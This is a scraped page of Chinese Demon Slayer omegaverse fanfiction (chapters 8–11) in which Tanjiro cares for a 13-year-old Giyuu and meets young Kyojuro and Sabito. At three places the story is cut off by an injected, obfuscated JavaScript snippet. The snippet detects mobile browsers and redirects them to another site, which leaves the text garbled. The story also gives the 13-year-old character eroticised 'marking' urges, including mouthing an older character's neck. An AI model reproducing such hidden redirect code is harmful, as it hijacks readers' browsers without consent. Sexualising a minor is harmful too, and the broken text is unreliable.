义勇的眼皮动了动,缓缓睁开了眼睛,看到是炭治郎,他迷迷糊糊地喊了一声:“灶门先生。” “你没有去床上睡吗……?”炭治郎问。 义勇摇了摇头:“我不知道我住在哪个房间。” “我应该有拜托隐的成员来照顾你……他们没有告诉你房间在哪里吗?” 义勇回答:“他们说了,但是我忘了。” 炭治郎没有说话,只是看着他。 义勇有些紧张起来,他低下头,声音更小了:“对不起,灶门先生……我很笨,也很没用。” 炭治郎叹了口气。 这不是义勇先生的错,是他的疏忽。 他将自己的手放在了义勇的头顶,轻轻揉了揉他柔软的黑发,“没有这回事的,义勇只是没有适应这个家而已,和我一样。” 他说着,直起了身子,然后弯腰,手臂穿过义勇的膝弯和后背,将他整个抱了起来。 “我抱着义勇一起睡觉去,好吗?”炭治郎看着怀里的人问道。 和灶门先生一起睡觉…… 义勇的脸红了大片。 这样不太好吧? 自己已经分化结束了,是一个合格的Alpha了,姐姐也说他虽然现在年纪很小,但是其实等级是很高的…… 这样的自己要和灶门先生一起睡觉吗? 拒绝的话在义勇望向了炭治郎的脸后,被他吞了回去。 把脸埋在炭治郎的胸口,富冈义勇用蚊子一般的声音说:“……好的。” 8. 第 8 章 炭治郎先把富冈义勇抱到了自己的房间里,将他轻轻放在了被褥上。 之后,他又以很快的速度去洗了个澡,再回到卧室。 回来的时候炭治郎的肩膀上搭着一条毛巾,头发还是湿漉漉地往下滴着水。 要不之后还是把头发剪掉吧? 这么长好像有点麻烦了。 炭治郎一边这么想着,一边用毛巾擦着头发,走回了房间里。 房间里,不出炭治郎所料的,义勇拘谨地坐在床铺的边缘没有躺下。 “不困吗?” 义勇摇了摇头。 闻到鼻腔里害羞的味道,炭治郎有些诧异的眨了眨眼。 因为和不认识的人一起睡觉会害羞嘛? 原来小时候的义勇先生是这样的啊。 和长大后表现出来的样子完全不一样啊!! 长大了之后的义勇先生就算在洗澡的时候被自己骚扰也很淡定! 不过这也是正常的,毕竟这还是什么也没有失去的义勇先生。 啊,这一次能够赶上救下义勇先生的姐姐真的太好了。 不知道这个世界的自己和鳞泷师父是不是师徒了,如果不是师徒的话也不知道关系怎么样,义勇先生还是最适合水之呼吸的。这几天联系一下鳞泷师父,把义勇先生给他送过去吧? 炭治郎擦着头发,在床铺的另一边坐了下来。 “我来帮您擦头发吧!灶门先生!”富冈义勇说。 本来想拒绝的,但是看到富冈义勇搭在腿上紧张的握紧的拳头,炭治郎还是把拒绝的话咽了回去。 还年幼的义勇先生一个人突然到了陌生的环境,一定很害怕也很紧张。 如果能让他帮点忙或许可以减轻一点他的压力,这是最好的了。 “那就麻烦你了。” “我会小心一点,绝对不会弄疼灶门先生的!” 慎重其事的接过炭治郎搭在肩膀上的毛巾,富冈义勇小心翼翼地帮炭治郎擦起了头发。 炭治郎的头发很软,但发量很多,摸起来很柔顺。 就在富冈义勇沉浸在这种安静的氛围中时,炭治郎突然开了口:“对不起。” 这个声音把富冈义勇吓了一大跳,手里的动作也停了,“您在因为什么道歉?” “我明明是长男,却没有考虑到你一个人来到这里并不熟悉,把你一个人留在了空荡荡的房子里就出去了。” 富冈义勇的手停了下来,“不是灶门先生的错。而且……我一睡醒就看到了灶门先生,真的很开心。” 炭治郎被这句话震了一下,惊讶地转过头,他湿漉漉的长发随着这个动作甩了出去,打在了富冈义勇的脸上,发出了“啪”的一声。 炭治郎连忙说:“抱歉!” 糟糕! 长头发果然还是太麻烦了! 应该要剪掉的! 明天就去找善逸或者香奈乎帮忙剪掉! 炭治郎慌张看着捂着脸没有说话的富冈义勇。 难不成义勇先生被自己的头发甩疼了??? 本来想要让义勇先生安心下来,现在好像弄得越来越糟糕了!!! “义勇!哪里疼!可以告诉我吗!”炭治郎连忙问道。 富冈义勇捂着脸,一个劲地摇头,“什么事情也没有。” 炭治郎伸手去扒拉富冈义勇的手臂:“拜托了义勇先生!我很担心你!请让我看一眼!” 富冈义勇抵死不从:“灶门先生!请不要管我了!而且……请不要喊我义勇先生!喊我义勇就可以了!” “不可以!如果是碰到了你头上的伤口了就不好了!”炭治郎说着,手上的力气更用了一些。 富冈义勇站起来想跑,结果一脚踩在了被子上,身体失去了平衡,整个人向前摔去,直直地倒在了炭治郎的身上。 他的下巴重重地磕在了炭治郎的肩膀上。 “对不起!!义勇!!疼吗!!” 富冈义勇的头整个埋在了炭治郎的肩窝里,为了让炭治郎冷静下来,也为了让自己红了一片的脸不要被炭治郎看到,他终于还是小声地说了一声:“疼。” 炭治郎这一下彻底不敢动了,他僵直着身体,生怕一个不小心真的让富冈义勇伤上加伤了。 富冈义勇的双手还环在炭治郎的脖子上,炭治郎能感觉到对方温热的呼吸一下下地呼在他的脖颈皮肤上,让从来没有和人这么接近过的炭治郎汗毛都要竖起来了。 义勇先生的牙齿好像在自己的后颈上轻轻磨了磨。 明明现在的义勇先生只是一个十三岁的孩子,可就在那牙齿接触到他脖子的瞬间,炭治郎却感觉到了一种让他几乎难以呼吸的压迫感。 这种感觉就好像是被张开了嘴的老虎扼住了喉咙一样,随时会被咬断脖子。 好可怕,这种压迫感是怎么回事。 鼻腔中蔓延着的那股海水味又是怎么回事。 在后颈脆弱的皮肤被舌尖触及之时,炭治郎终于忍受不了,猛地推开了富冈义勇。 “头发干得差不多了!该睡觉了!” 富冈义勇的嘴巴还微微张着,在煤油灯昏黄的光线下,可以若隐若现地看到他口中的尖牙。 看起来还有点委屈。 强行压住了自己的恐惧的炭治郎望了过去,转移了话题,“义勇有虎牙啊,我以前都没有发现。” 富冈义勇闭上了嘴巴,“Alpha都有这样的牙齿……灶门先生前几天没有发现,可能是因为我刚刚分化成了Alpha。” 炭治郎眨了眨眼,终于问出了前几天就一直在想,但是没有问出口过的问题:“Alpha是什么?” 富冈义勇:“……?” 灶门先生竟然不知道什么是Alpha吗? 啊,说不定灶门先生还没有听说过这种外来词。 这几个词也是最近西洋文化进入了内地之后,才在东京流行起来的。 因为比起以前使用的词更容易分辨每个性别。 富冈义勇这么想着,开口用更加古早的词解释:“就是雄性。” “哦。”炭治郎应了一声。 雄性的话就是男性。 自己也是男性,但是没有虎牙,那应该只是义勇先生以为每个男人都有虎牙吧。 毕竟才十三岁,对其他的人的身体结构没有充分的认知也是正常的。 煤油灯的灯芯燃尽了,炭治郎的头发也干了。 “我们睡觉吧。” 说着他就钻进了被子里。 “今天你先跟我一起睡,明天我再去买一套被褥回来……义勇没有带衣服过来吧?之后我来帮义勇买衣服吧。” 富冈义勇说:“没有关系,姐姐给了我钱,我不能给灶门先生添麻烦。” 炭治郎抬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048792|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,在富冈义勇的脸颊上摸了摸,温和地说:“不会的,义勇怎么样都不会是我的麻烦。” 毕竟在他原本的世界,义勇先生是他的恩人。 用一辈子都无法偿还的恩情。 如果没有义勇先生,他可能十三岁的那一年就死了。 如果自己最后死了的话,义勇先生一定也会很自责吧。 好想回去以前的世界,好想看看义勇先生。 意识逐渐迷糊了起来,炭治郎的呼吸也变得悠长了起来,放在义勇脸颊上的手无力地滑落下去。 还正坐在床褥上的富冈义勇连忙接住了炭治郎垂下的手,将它握在自己手心。 他的脸现在烫得吓人,身体里的信息素控制不住地往外溢出,无声无息地洒满了整个房间,让已经睡着了的Omega浑身上下充满了属于他的味道。 好喜欢。 好喜欢!! 好喜欢!!! 他好喜欢灶门先生,他好喜欢炭治郎。 他想要标记他,想要他成为自己的Omega。 为什么? 自己明明才刚认识灶门先生,再怎么说,对一个刚认识的Omega就有这样也太失礼了。 但是…… 富冈义勇俯身,将自己的额头贴在了已经睡着了的炭治郎的额头上。 从第一次见到灶门先生的时候,他的心脏就止不住的狂跳,就好像自己的存在就是为了见到他一样。 富冈义勇挨着炭治郎,在他身边躺了下来。 很快就坠入了梦境之中。 这个梦富冈义勇很熟悉,是他从小就会一直梦到的东西。 梦里的他失去了自己的姐姐,又失去了一个重要的朋友。 他从此生活在了无尽的自责之中,每天都想着,如果死的是自己就好了。 自己才是那个没有用的人。 如果姐姐活下来了,她就会和心爱的人结婚,拥有幸福的家庭。 如果那个朋友活下来了,他比自己强得多,他会比自己有用很多。 背负着这样沉重心情的他,在十九岁那年救下了一个十三岁的孩子。 又在二十一岁的那年,被那个如同阳光般的孩子打开了尘封的心扉。 他将那个孩子视若珍宝,在心里想着,这一次一定要永远保护他。 但,他却在那一年,永远地失去了那个孩子。 他又一次地被留下了,又一次地被保护了。 - 炭治郎迷迷糊糊地醒了过来。 他揉了揉眼睛,自己竟然说话说一半就睡着了,不知道义勇先生怎么样了。 他这么想着,撑起身子,借着窗外透进来的月光看了一眼身边的富冈义勇。 睡在他旁边的富冈义勇好像是做了噩梦,眉头紧紧地皱着,眼泪正一滴一滴地顺着脸颊滑落,流到了枕头上,打湿了一小片。 炭治郎:“????” 糟糕! 是不是他说话说了一半就睡着了的错!! 他想把富冈义勇推醒,问问他梦到了什么,但是手伸到一半,最后还是放弃了这个想法。 在噩梦中被叫醒,也许会更难受。 他想了想,抬起手,隔着被子,有一下没一下地轻轻拍着富冈义勇。 在安抚中,富冈义勇紧皱的眉头渐渐松了开来,终于露出了笑容。 9. 第 9 章 第二天一早,富冈义勇醒来的时候还散发着热气的被子里只有他一个人了。 鼻腔中满是属于炭治郎的阳光一般的味道的信息素。 揉了揉眼睛,富冈义勇做了一番心理挣扎之后,终于还是坐起了身。 昨晚上的梦具体的内容已经忘记了,只能隐约记得他好像弄丢了很重要的东西,但是在梦的最后,他又重新找到了自己的珍宝。 真是一个好梦。 他的嘴角不自觉地勾起了一个笑容,心情也不由自主地雀跃了起来。 不知道灶门先生在哪里? 自己应该再早点醒来的,这样就能一睁眼就看到灶门先生的脸了。 说不定再早一点的话还能在灶门先生醒来的时候和他说一声早安。 “师父!我已经跑完步了!接下来要做什么!” “已经跑完了吗……杏寿郎的速度很快,很棒。” “多谢师父!” 门外的声音清晰地传到了富冈义勇的耳中。 他坐在床上,嘴角刚刚勾起的弧度慢慢落了下来。 - 院子里,炭治郎有些头疼地望着面前神采奕奕的炼狱杏寿郎。 清晨时分,瑠火就把杏寿郎送了过来。 炭治郎本来还想问昨晚上之后怎么样了,瑠火却先一步开口,告诉炭治郎不用担心,她和槙寿郎已经把杏寿郎的屁股给打肿了。 炭治郎:“……” 这时候是不是应该露出一个同情的表情? 但是他做不到啊。 他现在能不笑出来就已经算得上很尊重炼狱先生了。 瑠火没有在意,“希望炭治郎可以多盯着一些杏寿郎,最起码在他完全发育好之前,不要让他学会全集中呼吸这些技巧。” 炭治郎立刻应下:“我明白了!我一定会盯着杏寿郎的。” “那就麻烦炭治郎了。给你添了不少的麻烦,真的很抱歉。最起码,这些东西可以请你收下。” 她说着,把手上拿着的篮子放到了炭治郎的手中。 炭治郎掀开上面盖着的布时,还担心的想着,会不会是什么非常珍贵的东西,如果是这样的话他要怎么拒绝。 但掀开了之后,他却发现里面是一盒色彩斑斓的金平糖,还有一盒没有见过的褐色块状物品,以及塞得满满的、还带着晨露的野香椿。 “我听槙寿郎说炭治郎喜欢吃香椿,今天早上就让杏寿郎去采了一篮回来。剩下的糖是送给小祢豆子的。这些并不贵重,是我们的心意,希望你收下。”瑠火解释道。 杏寿郎也在旁边大声说:“收下吧!师父!这是我专门为你找来的!” ……收下吗? 也行吧,不是什么特别贵重的东西。 收下的话瑠火夫人也会更加放心一些。 “谢谢瑠火夫人和杏寿郎了!等之后我做了香椿天妇罗也会给你们送一份过去。”炭治郎笑道。 他又想了想,问道:“杏寿郎的完全发育好之前,是指……?” “杏寿郎刚刚进入分化的阶段,他可能还有一段时间才能完成。这些时间里如果学习了全集中呼吸,会对身体产生很大的压力……我和槙寿郎也是因为害怕他的身体有太大的负担,才不愿意让他去参加最终选拔的。但是没想到他还是去了。” 这么说着,瑠火气不打一处来,又伸手弹了一下杏寿郎的脑袋。 杏寿郎捂着头,却还是精神十足地说:“不用担心!母亲!我一定会成为最强的Alpha的!” 瑠火看都懒得再看他一眼。 Alpha就是雄性,昨天晚上义勇先生告诉自己了。 也就是说杏寿郎先生现在正在发育的阶段,瑠火夫人希望等他发育完全之后再学习那些吗? 好像也确实是这个道理,他学习全集中呼吸的时候也已经十五岁了。 不过…… 炼狱先生想要成为最强的男性吗? 按着他的性格来说,确实是这样的。 这么想着,炭治郎笑了起来。 他蹲下身,摸了摸炼狱杏寿郎那头金红色的头发,鼓励道:“杏寿郎一定可以成为最强的Alpha的。” 炼狱杏寿郎脸上的笑容僵住了。 他缓缓地转过了头,和炭治郎对上了眼。 炭治郎笑得眼睛都眯了起来,对他挥了挥手说:“加油!” 炼狱杏寿郎瞳孔紧缩。 炼狱杏寿郎大脑宕机。 炼狱杏寿郎猛地捂着自己的脸,低头蹲在了地上,把脸深深地搭在了自己的膝盖上。 炭治郎惊慌地问:“杏寿郎!你怎么了?是哪里疼吗?” 炼狱杏寿郎闷闷的声音从手臂间传来:“没有!我什么地方都不疼!” 他虽然这么说,但是并没有把头抬起来的意思。 炭治郎有些担心,他看到炼狱杏寿郎露出来的耳朵尖都是通红通红的。 是不是屁股疼! 昨晚上刚被揍的屁股,今天说不定还是肿的。 一定会疼的! 但是自己不能随便脱别人的裤子! “杏寿郎真的没有关系吗?”炭治郎转头对着瑠火问道。 瑠火轻笑了一声,“他没有关系的,别看他这样,他可是比野猪还要坚强的。” 她这么说着,又对着炭治郎深深鞠了一躬,“杏寿郎的事情就拜托炭治郎了。他是我和槙寿郎的大儿子,我们希望他可以继承他父亲的衣钵,成为一名优秀的猎鬼人。但我们也希望,他可以好好地活下去。” 炼狱杏寿郎的声音还是闷闷的:“我肯定会活下去的,母亲。” 瑠火没有理他,她只是看着炭治郎,再次说:“杏寿郎的事情,就交给你了。” 炭治郎的嘴角往下撇了撇。 好好地活下去…… 如果上辈子的时候,炼狱先生也听到过瑠火夫人的这句话就好了。 如果他不是必须支撑起那个摇摇欲坠的家,如果不是必须成为最优秀的猎鬼人,他也不会被猗窝座…… 他用力咬住了自己的下唇,感觉眼眶热热的。 他不知道自己为什么会有这种感觉,可能是因为这个世界的身体的泪腺更加发达吧…… 虽然他原本的泪腺也很发达就是了。 不过,不能哭。 如果现在哭了的话,就太奇怪了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048793|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 炭治郎的嘴角抽了抽,又很快地扬了起来。 “我知道了,我一定会尽力保护他的,瑠火夫人。” 瑠火和炭治郎道了别。 等她的身影走得都看不到了,杏寿郎才猛地支起了身子,对着炭治郎大声说:“师父!应该是我保护你才对!我要成为最强的Alpha,最强的Alpha应该保护Omega!” 因为刚刚想起了上辈子炼狱先生结局而有些伤感的炭治郎:“?” 炭治郎问:“Omega是什么?” “Omega就是大众说的雌性!” 炭治郎点了点头,然后他抓起了杏寿郎的手,直接放在了自己的喉结上,说:“这是喉结。” 杏寿郎愣愣地点了点头。 他又抓着杏寿郎的手放在了自己的胸前,还按了按。 杏寿郎的脸瞬间爆红,喊道:“师父??????” 炭治郎面不改色地说:“平的。” 杏寿郎:“???” 炭治郎最后总结道:“所以说,我是雄性,不是雌性。” 杏寿郎:“??????” 师父不知道雄性和雌性是什么意思吗! 啊! 师父以前是山上的! 师父不知道很正常! 但是师父这个年纪不是应该已经有过发热期了吗! 难道没有过吗! “师父!” “怎么了?”炭治郎疑惑的望向了突然之间好像十分激动的杏寿郎。 “师父有没有过发热期!”杏寿郎问道。 发热期……那是什么? 望着炭治郎疑惑的脸,杏寿郎解释道:“发热期就是Omega体温会变得很高,会大量分泌汗水,需要Alpha来安抚的一种时期!” 炭治郎点了点头,一副明白了的样子:“哦,就是发烧吧?” 炼狱杏寿郎:“????”不,不是,等等? “杏寿郎,你说的发热期应该是发烧。这种是每个人都会经历的,并不是什么特殊的性别才会经历的时期,大家都有发烧的时候。知道了吗?” 炼狱杏寿郎:“???????” 虽然感觉好像师父说的和自己说的不是同一件事,但师父说得那么肯定,杏寿郎还是选择放弃了思考。 他回答:“我知道了!师父!” 时间拉回到现在。 “杏寿郎的分化大概什么时候结束?”炭治郎对着炼狱杏寿郎问道。 全集中呼吸是一种很好用的技巧,也是炼狱先生成为柱必须要学会的一种技巧,他能早点学会,总是更好一些。 “师父!大概是明——”年。 纸门被“哗啦”一声拉开的巨响让炭治郎回过了头,也让炼狱杏寿郎闭上了嘴。 炭治郎看着站在门口的富冈义勇,笑着打了个招呼:“早啊,义勇。” 富冈义勇半垂着眼睛,他先是不着痕迹地望了一眼旁边的炼狱杏寿郎,然后才将目光转向炭治郎,脸上露出了一个有些羞涩的笑容,“早安,灶门先生。昨天晚上我睡得很舒服。” “都是托和我一起睡觉的您的福。” 10. 第 10 章 “这样吗?真的太好了。”炭治郎笑着说。 富冈义勇站在门口没有动,他的目光在炭治郎看起来稍微有些局促。 义勇先生一定是睡醒了之后,不知道要去哪里接水洗漱,又听到了自己和炼狱先生的声音,这才出来,但是又不好意思开口。 义勇先生小时候真是一个温柔的好孩子,跟长大了以后的义勇先生一样,都不会将自己的需求放在最前面! 这么想着,炭治郎转头和炼狱杏寿郎说:“我带义勇去洗漱一下,然后做点早饭吃。杏寿郎吃过了吗?” 炼狱杏寿郎:“吃了!但是现在肚子又饿了!” 啊……这是正常的,毕竟一早起来又是去山上采香椿,又是锻炼的。 炭治郎点了点头,决定了下来,“嗯,那就多做一点。” 厨房里应该还有一些食材。 但是米不多了,做不了饭团了,不过还有一些红薯。 “杏寿郎可以吃红薯吗?” 炼狱杏寿郎的眼睛一下子就亮了,“我喜欢吃红薯!师父!” “那就太好了,”炭治郎眯起了双眼。 千寿郎曾经和他说过炼狱先生喜欢吃红薯的事情,没有想到这个世界的炼狱先生也还是喜欢红薯呢。 不过红薯他也很喜欢,甜甜糯糯的,刚好今天还有野香椿,就做天妇罗吧! “杏寿郎先在这里等我们,可以吗?” “是!” 炭治郎脱下了脚上的木屐,走上了走廊。 为了方便活动,他还把裤腿给挽了起来,露出一截线条紧实的小腿。 富冈义勇和炼狱杏寿郎的眼睛不做主的落在了那双在阳光之下温润如玉的双腿,又强行将目光又移了开。 “义勇,跟我来吧?”炭治郎说道。 富冈义勇应了一声“好的”。 他快步上前,伸出手拽住了炭治郎的衣袖。 炭治郎低头看了一眼富冈义勇,并没有说什么,任由他拉着自己的袖子。 跟在炭治郎身后走向房内的时候,他脸上没有任何表情地回头看了一眼。 院子里,那个叫做炼狱杏寿郎刚的人手上拿着木刀,还在不知疲倦地练习挥砍。 富冈义勇很快把头又扭了回来。 这个叫做炼狱的人看起来是一个好人,但他不喜欢他看着灶门先生的眼神。 那个眼神,和自己的一样。 炭治郎带着富冈义勇看了水井、厕所在哪里。 “你自己可以吗?” 富冈义勇点了点头,“灶门先生,我可以的。” “好的,”炭治郎放心了,他又指了指厨房的方向,“我就在那里,你洗漱完了之后去那里找我就行。” 富冈义勇应了一声:“好。” 炭治郎这才放心地去了厨房。 厨房里有昨天善逸送来的新鲜鲑鱼,还有萝卜和一些红薯。 炭治郎记得义勇先生好像很喜欢吃鲑鱼萝卜的样子,干脆就炖了一大锅。 剩下的红薯,他将一部分放进锅里和米饭一起蒸,做成了红薯饭,另一部分则和瑠火夫人送来的香椿一起,准备做成天妇罗。 他做饭的时候下意识地就做得多了一些。 毕竟上辈子在无限列车上的时候,他可是亲眼见识过了炼狱先生一个人吃掉十几个便当的场景,也还有和义勇先生比赛吃荞麦面时的悲惨记忆。 炼狱先生和义勇先生的胃口都很大!必须要做一些才够吃! 啊,这么一说,甘露寺小姐的胃口也很大。 难道说,想要让身体变得强韧就一定要吃很多很多的东西吗? 自己也要加油! 如果可以变得更强的话他一定可以砍断无惨的脖子! “灶门先生?” 门口传来了富冈义勇的声音。 炭治郎正围着围裙,一脸严肃地盯着锅盖。 听到富冈义勇的声音后,他收回了心思,赶忙回头,“义勇先生,稍微等一下,马上就要做好了。” 富冈义勇站在门口,望着那个围着围裙、脸上还沾着一点面粉的炭治郎,脸色慢慢地变红了。 连忙移开了目光,富冈义勇看向旁边的橱柜,“我也来帮灶门先生吧。” “好的,那麻烦你了。待会儿可以帮我一起把东西端到桌子上吗?” 富冈义勇点了点头。 把东西都端到房间里后,炭治郎又去院子里喊了炼狱杏寿郎来吃饭。 富冈义勇端正地坐在自己的位置上。 他的面前放着一碗冒着热气的鲑鱼萝卜。 这是他喜欢的菜! 富冈义勇夹了一块鲑鱼放进了嘴中。 鱼肉炖得恰到好处,筷子一夹就轻轻散开,鱼皮下的油脂融化在鲜美的汤汁里,带着萝卜的清甜一起在舌尖化开。 他的眼睛一下子就亮了,嘴角也不由自主地露出了一个细微的笑容。 很好吃! 灶门先生做饭真的好好吃! “好吃吗?”一直观察着富冈义勇的炭治郎问道。 富冈义勇刚张开嘴想说话,就有另外一个洪亮的声音打断了他。 “好吃!”炼狱杏寿郎正大口地吃着红薯天妇罗,外壳酥脆,内里香甜软糯。 他把嘴巴里的东西咽下去之后,目光灼灼地望着炭治郎,“师父!好吃!” 炭治郎得意地昂起了头,骄傲的说,“我可是卖炭人家的孩子!做饭的火候我是最擅长的了!” “好吃就多吃一些!” 这么说完后,炭治郎又转头对富冈义勇说:“义勇也要多吃一些!” 富冈义勇点了点头,说了一声,“好的,我会的。” 他说完之后就低下了头,继续安静地吃着自己碗里的东西。 自己的话被打断了。 他也想和灶门先生说好吃的。 富冈义勇的心里泛出了一丝不适的感觉来。 很奇怪,他的脑子里就好像被分为了两个人。 一边一个人说,炼狱杏寿郎是一个好人,他光明磊落,应该和他当朋友。 另外一边的人却反驳,说他很危险,他会抢走灶门先生。 摇了摇头,富冈义勇强行将这两个声音都抛到了脑后。 另一边,边吃边大声说好吃的炼狱杏寿郎也将目光落在了富冈义勇的身上。 这个少年是师父从东京救回来的那个,因为崇拜自己的师父才加入了鬼杀队…… 是这样吗? 可是,今天早上看到师父的时候师父的身上,有着一股挥之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048794|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不去的、带着海水味的信息素。 母亲自从生病了之后就几乎闻不到信息素的味道了,她没有发现异常。 但是他闻到了! 而且在看到了少年之后,他可以很确定,那就是这个少年的信息素。 他比自己大一岁,也已经分化成了Alpha,甚至还是东京那里的人。 这样的话应该早就被官方做过相关的知识普及了。 Alpha不可以随便将自己的信息素洒在任何一个Omega的身上,除非那个Omega是他的爱人。 这个少年喜欢师父? “这可不行!”炼狱杏寿郎突然大声说道。 “什么东西不行?”炭治郎疑惑地看向他。 是自己什么东西做得失败了吗? “什么东西也没有!我只是在想其他的东西!”炼狱杏寿郎立刻回答道。 炭治郎“哦”了一声,没再追问。 他刚好看到炼狱杏寿郎的脸颊边上沾了一粒米饭,便很自然地伸出手,顺手就捻了下来,塞到了自己的嘴里。 炼狱杏寿郎:“!!!” 富冈义勇:“???” 这个习惯性的动作做完了之后,炭治郎才反应过来自己做了什么,他连忙道歉:“抱歉,我在家里经常对弟弟妹妹们这么做,一时没有控制住……” 炼狱杏寿郎的脸变得通红,他猛地坐直了身体,昂首挺胸地说:“嗯!果然还是不行!” 他不能接受师父和这个少年在一起! 自己的师父那么温柔,又那么可爱! 他应该配上一个更有男子气概的,更加光明磊落,喜欢吃红薯饭的Alpha中的Alpha才对! 自己一定要帮师父找到一个这样的Alpha! 待会他就回去问问父亲,家里的亲戚有没有这样的Alpha! 炭治郎:“???” 所以到底是什么东西不行? 吃完了饭之后,行动力满分的炼狱杏寿郎站了起来,匆匆告别:“师父!我稍微有一点事情要回家一趟!” 炭治郎干脆利索地答应了下来:“好,路上小心。” 他的话还没有说完,杏寿郎已经冲出了房间,身影很快就消失在了院子门口,跑得飞快。 富冈义勇正在默不作声的帮炭治郎收拾碗筷。 他的心里感到一阵轻快。 炼狱杏寿郎离开了。 是不是说今天剩下的时间都是他和灶门先生在一起的? 然而等碗筷都收拾好了之后,炭治郎擦了擦手,“我昨天写信给主公大人请了几天假。待会儿我们出门,我把你送去培育师那里,好吗?” 富冈义勇手里的动作停住了。 培育师是什么他没有听过。 但是…… 他低着头,声音很小地问:“灶门先生要把我送走吗?” 炭治郎看他这个样子,连忙说:“不是的。” 听到这个回答,富冈义勇抬起了头,刚刚黯淡下去的眼神里,又重新亮起了一点神采。 炭治郎温和地解释道:“我只是想要义勇你跟着更加适合的人后面训练……那个人是一个很好的人,义勇一定会喜欢他的。” 富冈义勇再一次的失望的低下了头。 11.第 11 章 将事情交代好了之后,炭治郎就带着富冈义勇出了门。 其实,让富冈义勇自己去找鳞泷师父会更好一些,但他终究还是放心不下。 和主公大人请了几天的假之后,他还是决定亲自带着富冈义勇出门。 狭雾山距离他住的地方并不算远。 就算带着还没有经过系统训练、体力虽然不算差,但是比起鬼杀队的对原来说差了很多的富冈义勇,一天多一点的时间也就能到了。 等到了狭雾山山脚下的时候已经是傍晚了。 看到了和上辈子记忆中一模一样的房子,那种熟悉的感觉让炭治郎放松地眯起了双眼。 真怀念啊,他当时可是和祢豆子,鳞泷师父一起在这里住了两年。 也是在这里,认识了早就不在人世了的锖兔。 不知道这个世界锖兔怎么样了。 “鳞泷师父,鳞泷师父你在吗?”炭治郎抬起手,在木门上敲了几下。 门内没有任何动静。 “难不成不在家吗……?”炭治郎有些疑惑。 旁边的富冈义勇眼睛亮了起来,如果这个叫鳞泷师父的人不在家的话,灶门先生是不是就要把自己带回去了? “喂,你们是谁!为什么在师父的家门口!”一个少年的声音突然响起。 富冈义勇的眼中的光一秒消失。 炭治郎朝着声音传来的方向望去,一个脸上带着狐狸形状消灾面具、有着一头肉色头发的少年,正站在不远处一块被整齐劈成两半的巨石上面。 他的身上灰扑扑的,手上还抓着一把刀。 “很抱歉突然打扰,我是日柱灶门炭治郎,是来按照约定将新人送来给培育师的。”炭治郎回答道。 那个少年听了之后愣了一下,随即从石头上面跳了下来,快步走近了几步,问道:“你就是日柱吗?” “是的。”炭治郎的目光落在少年的身上。 少年身上穿着龟甲纹样的衣服,外面套着一件白色的羽织。这个人他认识……!! 声音里带着一丝炭治郎自己都未察觉的激动,他问道:“你是锖兔吗?” 少年闻言,伸手掀开了脸上的面具。 一张轮廓分明的脸露了出来,那双灰紫色的眼睛里带着少年人特有的锐气和率直。他回答道:“没错!我是锖兔!是师父和你提过我吗!” 炭治郎笑着没有说话。 他来到这个世界之后,除了前几天写信给鳞泷师父,告诉他希望他可以培育富冈义勇之外,还没有和鳞泷师父有过其他的对话…… 不过谁知道呢。 万一以前的他和鳞泷师父通信的时候,信中提过了锖兔呢? 想想看,他都不知道这个世界他和鳞泷师父还是不是师徒。 不过不重要,总会知道的。 锖兔几大步走了过来,他仰头望着比自己高一些的炭治郎,随后猛然鞠躬,“日柱大人!您是我敬佩的人!我一定会成为和您一样的强者,一定会成为和您一样的柱的!” 被锖兔这样郑重地夸赞,炭治郎还有些脸红。 想当初,他能将鳞泷师父的那块巨石劈成两段、成功出师,还是多亏了锖兔的灵魂日夜陪练…… 啊这么一说…… “这一块巨石,是你劈开的吗?”炭治郎指着那块已经被劈成了两半的巨大的石头问道。 锖兔扬起了一个灿烂的笑容,自豪地说:“是我!我今天已经成功出师了!” “啊……日柱大人!这是师父给您的信!” - 太阳完全落下之后,富冈义勇跟在炭治郎的后面,心情复杂地踏上了回程的路。 好消息是,他不需要跟着那个叫鳞泷的师父修炼,可以跟灶门先生一起回去了。 坏消息是,灶门先生的身边还多带了一个人回去。 “日柱大人真的同意收我为继子了吗!”走在炭治郎另一边的锖兔,声音里满是抑制不住的兴奋。 “嗯,是这样的。锖兔很强,肯定很快就能成为新的柱。”炭治郎温和地笑着回答。 “非常感谢您的夸奖!我会努力的!” 富冈义勇默不作声地走在炭治郎的旁边。 这个叫锖兔的人,和之前的炼狱杏寿郎一样,性格都很好,一看就是灶门先生会喜欢的类型。 自己应该讨厌他们的。 但是不知道为什么,他就是生不起讨厌他们其中任何一个人的想法。 这种懦弱的想法让富冈义勇越发地讨厌他自己。 明明自己才是那个对灶门先生怀有非分之想的人,却一边想要讨厌其他接近灶门先生的Alpha,一边又做不到讨厌他们中的任何一个。 